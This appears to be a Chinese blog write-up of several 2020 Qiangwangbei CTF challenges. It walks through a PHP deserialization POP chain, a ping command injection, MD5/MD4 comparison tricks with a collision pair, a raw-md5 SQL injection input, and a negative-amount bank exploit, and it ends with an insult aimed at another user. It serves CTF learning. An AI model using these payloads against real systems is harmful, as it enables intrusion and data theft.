1. 程式人生 > 實用技巧 >2020第四屆"強網杯"線上賽部分題解

2020第四屆"強網杯"線上賽部分題解

前言

肝了兩天,日常被虐,這裡記錄一下做出來的幾道題,真*web是一個都沒解出來,感覺還是tcl!!!,還得繼續努力啊

web輔助

題目直接給了原始碼,有四個檔案,程式碼比較少。

主要考查:反序列化字串逃逸,繞過wakeup,還有一些小技巧

反序列的基礎知識可以參考之前的部落格:

https://www.cnblogs.com/lceFIre/p/12602233.html

關於反序列化字串逃逸可以參考這兩位師傅的文章:

https://www.cnblogs.com/magic-zero/p/11643916.html

https://xz.aliyun.com/t/6718

分析一下程式碼

index.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) && isset($_GET['password'])){
	$username = $_GET['username'];
	$password = $_GET['password'];
	$player = new player($username, $password);
	file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); 
	echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
	echo "Please input the username or password!\n";
}

?>

這個檔案主要就是接收了兩個引數,這兩個引數可控,然後利用這兩個引數例項化player物件,並且會將其序列化後的內容寫入caches目錄下的一個檔案

common.php

<?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
?>

這裡定義了三個函式,read和write的進行了字串替換會導致逃逸,我們可以在username傳入\0*\0 這樣它在寫入的時候長度沒變是5個字元,但是read讀取的時候會替換為 chr(0)."*".chr(0) 變成了3個字元,反序列化的時候就會向後吃掉2個字元導致後面的字元逃逸,check函式主要就是過濾了大小寫的name,只要匹配到就返回Name Pass,這個在反序列化的時候,需要繞過

play.php

<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
	echo "FPX Champion\n";
}
else{
	echo "The Shy unstoppable\n";
}
?>

這個檔案就是存在反序列化點的地方,它會讀取之前index.php寫入的序列化值然後反序列化,注意中間有一個check檢測

class.php

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
?>

這裡定義了四個類,很明顯需要我們執行 jungle 的 KS() 來獲取flag

思路:

首先構造需要逃逸的物件,將其作為password

那麼找一下pop鏈:

jungle 的 __toString() 中呼叫了 KS() ,然後 midsolo 的 Gank() 中在 stristr 處進行了字串的匹配,如果令 $this->name 為 jungle 類,就能觸發 __toString() ,然後 Gank() 是在 midsolo 的 __invoke() 裡被呼叫,接著 topsolo 的TP() 中在 $name() ; 處,可以令 $name 為midsolo 類,就能觸發 __invoke() ,然後 topsolo 的 __destruct() 那裡會呼叫TP() ,最後就是思考怎麼呼叫destruct?

payload

<?php
class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

}

class topsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

}


class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

$a=new jungle();
$b=new midsolo($a);
$c=new topsolo($b);

$d=array();
$d[0]=$c;
$d[1]=2;

$e=serialize($d);
//echo $e."\n";
$f=str_replace('Lee Sin";}}}i:1;','lceFIre";}}}i:0;',$e);
$f=str_replace('midsolo":1:{s','midsolo":2:{s',$f);
echo $f;
?>

執行得到

a:2:{i:0;O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":2:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:7:"lceFIre";}}}i:0;i:2;}

裡面 * 兩邊的空格實際上是空字元,通常在傳參的時候可以用%00代替

注意指令碼最後的兩個替換

第一個是為了利用php反序列的冗餘來銷燬物件觸發 __destruct()

簡單來說就是:反序列化的時候如果傳入一個序列化的陣列,並且這個陣列中存在兩個或多個key相等的變數,那麼反序列化的時侯將刪除首先輸入的變數。

比如下面這個序列化值:

a:2:{i:0;O:1:"B":0:{}i:1;i:1;}

這是一個正常的陣列序列化後的值,表示這個陣列有兩個值,第一個鍵是0,對應的值是一個物件,第二個鍵是1,對應的值是數值1

這裡我們把第二個鍵改為0

a:2:{i:0;O:1:"B":0:{}i:0;i:1;}

這裡如果在將其反序列化,那麼 B 物件會作為value冗餘,如果B類存在__destruct(),則會呼叫 __destruct(),而不會導致反序列化錯誤,即先解析 O:1:"B":0:{} 生成一個物件,然後在向後解析又遇到 i:0 於是將前一個 i:0 的值改為1,就相當於消滅了之前生成的物件於是觸發__destruct函式,之後也是冗餘的關係使得反序列化的結果返回的是 array(0=>1)

第二個是為了繞過midsolo的 __wakeup(),只需要修改物件屬性的個數就行,不然我們構造的 midsolo 的 $this->name 屬性會被重置

還有需要注意的地方

就是我們上面構造的payload中很明視訊記憶體在name字元,會被check()檢測出來

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}

引用一下之前在 https://www.gem-love.com/ctf/2184.html部落格中學到的方法

這裡可以將序列化裡的字串改寫成十六進位制,也就是將表示字串用的s寫成大寫S,這樣private屬性後面的%00這個不可見字元就能寫成\00(如果是小寫s 這個\00表示一個斜線和兩個0 是三個字元,而大寫S會把\00解析成%00(1個字元的空字元))

因此我們可以將上面payload中所有的

s:7:" * name";

改為

S:7:"\00*\00\6eame";

\6e表示 n ,這樣就可以繞過check

a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

然後將上面構造好的pop鏈當作password傳入,生成一個正常的player物件方便觀察

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }
}

$username = '111';
$password = 'a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}';

$a=new player($username,$password);
$b=serialize($a);
echo $b;
?>

得到

O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}

然後為了便於吃掉字元,同時要保證序列化的資料語法正確我們可以新增

lceFIre";s:8:"\0*\0admin";

得到

O:6:"player":3:{s:7:" * user";s:3:"111";s:7:" * pass";s:145:"lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}";s:8:" * admin";i:0;}

於是password應該為

lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

這樣需要被吃掉的字元就是

";s:7:" * pass";s:145:"lceFIre

長度為30,因此我們的username需要傳入15個 \0*\0

最後先向index.php頁面提交payload

?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=lceFIre";s:8:"\0*\0admin";a:2:{i:0;O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"lceFIre";}}}i:0;i:2;}

然後訪問play.php得到flag

主動

這題感覺是除簽到以外最簡單的了

訪問得到原始碼

 <?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

payload

?ip=127.0.0.1|tac fla''g.php

Funhash

訪問得到

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();


?>

主要考的就是各種md5的比較

在第一關卡了蠻久後來找到相關的文章

https://www.dazhuanlan.com/2020/01/17/5e2103fc1e45f/

payload

hash1=0e251288019

方法就是用指令碼爆破

<?php
for ($i = 0;; $i++) {
    $req = "0e" . $i;
    $md4 = hash("md4", $req);
    if (preg_match("/^0e[0-9]*$/", $md4)) {
        echo $req . "n";
        break;
    }
}
?>

要跑蠻久

第二關

md5全等碰撞

hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7

用陣列繞過好像也可以

第三關

參考這位師傅的部落格

https://blog.csdn.net/March97/article/details/81222922

hash4=129581926211651571912466741651878684928

最終payload

?hash1=0e251288019&hash2=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0L%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%0A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4a%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CBZ%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BA%D3%F9%DCHb%7BK%AC%CE%EF%CE%C5%18C%C1z%5D%3B%F7&hash3=m%C6%88%A3%83KhNM%91gy%7C%E2%E4Cb1%D1%FD%C41%98%96%F9%1D%7F%3E%88%2B%AA%12%81%AD%F3%E2%60%E7%C5T%EF%07g%F4%99%81h%9Dz%18%DA%7B%02%82%B6%B0%9E%0CS%DC%8D%02%B9%C0%890%97%22%C6OhQw%AA%10%D8%03b%C2%B3%B1%8F%EA%40%5C%DC%81%D9M%C5%10%E0%BA_%88%C7%CF%AB%E4%27%AF%84n4%BA%03%8A%3A%28%D8%EC%60%2F%28%80%D0%DB%A0e%3B4%19d8%E0%26%11H%F9%D0+6%E2%7B%EE%3A%A4k%A3%DF3%94%D7%A0%B1%AB%E0%CC%8Atv%293%8E%81%F6%17%C2%0C%D2%F4%D4%B5%DD%E0T2%C3%0B%C8%EA%19%24%8A%AD1%1A%3E%BF%7E%1F%D3D%FB%E0%91%E4%E1%23%88%1F%28R%0A%BFvR%BB%A4%98%91%82Y%AEl%88%EA%16%1FS%CB%DA%3C%E1%B2%AF%2B%B5%40%C7%2A%60%A8%D7%D7%3D%00h%97H%F3%13%B8C%06%5B%BAS%F9%DCHb%7BK%AC%CE%EF%CE%C5%18CAz%5D%3B%F7&hash4=129581926211651571912466741651878684928

bank

給了nc,連線返回

sha256(XXX+aJl8GWbgSdealQbg8) == e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c 
Give me XXX:

只有三位寫個指令碼爆破一下

# -*- coding: utf-8 -*-
import requests
import hashlib


def sha256(data):
    datas = data + text
    sha256 = hashlib.sha256()
    sha256.update(datas.encode())
    res = sha256.hexdigest()
    return res

def main():
    for ch1 in string_list:
        for ch2 in string_list:
            for ch3 in string_list:
                guess_data = ch1+ch2+ch3
                res = sha256(guess_data)
                if res == text_encode :
                    print(guess_data)
                    break

if __name__ == '__main__':
    string_list = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'

    text = '''

aJl8GWbgSdealQbg8

    '''

    text = text.replace("\n",'')
    text = text.replace(' ','')
    text_encode = '''

e9eee6a13600ed14def9dfc7345e501bc60fb32cb30568a8803d65af9facf70c
    
    '''
    text_encode = text_encode.replace("\n",'')
    text_encode = text_encode.replace(' ','')

    main()

然後提交token,隊伍名,之後返回

your cash:10
you can choose: transact, view records, provide a record, get flag, hint
> 

五個功能都試了一下

your cash:10
you can choose: transact, view records, provide a record, get flag, hint
> hint

def transact_ecb(key, sender, receiver, amount):
    aes = AES.new(key, AES.MODE_ECB)
    ct = b""
    ct += aes.encrypt(sender)
    ct += aes.encrypt(receiver)
    ct += aes.encrypt(amount)
    return ct


> get flag
you need pay 1000 for the flag!
don't have enough money!


> provide a record
My system is secure if you can give me other records, the receiver can also get the money.
>


> view records
there are some transactions and the transaction amount is more than 100
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b4cf1ba64a0b3ae74105673b53f26b8561
daf24c67188fbd3a8e4828ec5ec8a4b4daf24c67188fbd3a8e4828ec5ec8a4b47ebd45ab3e87afd321306dff981cdc68
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b5352687700b12564b4c7efaccfdeac935b57
4018265660a40a7f5b9127e2808b53524018265660a40a7f5b9127e2808b5352e8218f6e40154ac26ac8fc6cde319272
b3ae353be7116f4ad433c63470f59100daf24c67188fbd3a8e4828ec5ec8a4b457661409079b2f705f0774edd5066390
daf24c67188fbd3a8e4828ec5ec8a4b46728832df7d17a7814d58ecb14e57f6a0119a3b00d0c81e677236d17291cc7a5
6728832df7d17a7814d58ecb14e57f6a4018265660a40a7f5b9127e2808b53529c09f9c368af563f7daa22e8ab044bfb
6728832df7d17a7814d58ecb14e57f6a6728832df7d17a7814d58ecb14e57f6aa0ab1b6d7933d4353d3d54d9ac85c1b7
b3ae353be7116f4ad433c63470f591004018265660a40a7f5b9127e2808b535215597c6206d6e4bb4af19044dbcc0f28
b3ae353be7116f4ad433c63470f59100b3ae353be7116f4ad433c63470f591003fd886c9b310839d1e34b1cbf3675b49


> transact
please give me the trader and the amount(for example:Alice 1)
> 

簡單來說就是要1000塊錢才給flag,正常做到這一步只有10塊錢

然後provide a record那裡可以賺錢但需要提供其它的交易記錄,這裡不知道其他人的token,隊伍感覺無法獲得交易記錄 ~~~實際上可以偽造只是我不會哈哈

hint 裡是 AES 加密,看了半天沒看出什麼,放棄,當時有很多人做出來這題,一度以為這個hint是在欺騙我,肯定有其它的騷操作

然後transact那裡,可以提供交易者和金額進行交易(例如:Alice 1)

試了一下

Alice 1

返回

please give me the trader and the amount(for example:Alice 1)
> Alice 1
16fcc2ccf8d4e9a656f967426c0248e6bea5d307800e76cded1e37ee3c9ce62ecc6ad27f389ca5f01b9fffb2e4838c97

your cash:9
you can choose: transact, view records, provide a record, get flag, hint
>

發現我變成9塊錢了。。。

後來試了很久,hint提示的aes感覺也不能爆破,最後想著既然有個Alice的列子,那這個Alice肯定有很多錢(估計有很多人把錢轉給Alice),於是測試

Alice -1000

看會不會倒過來把錢轉給我,然後竟然真的拿到錢了,最後在選擇get flag就行

後記

比賽第二天遇到了很搞人心態的事,當時也是氣急,就去很多群找了某個名叫 “你可真skr有趣人兒” 的傻逼,具體的事睡了一覺後也懶得想,越想越氣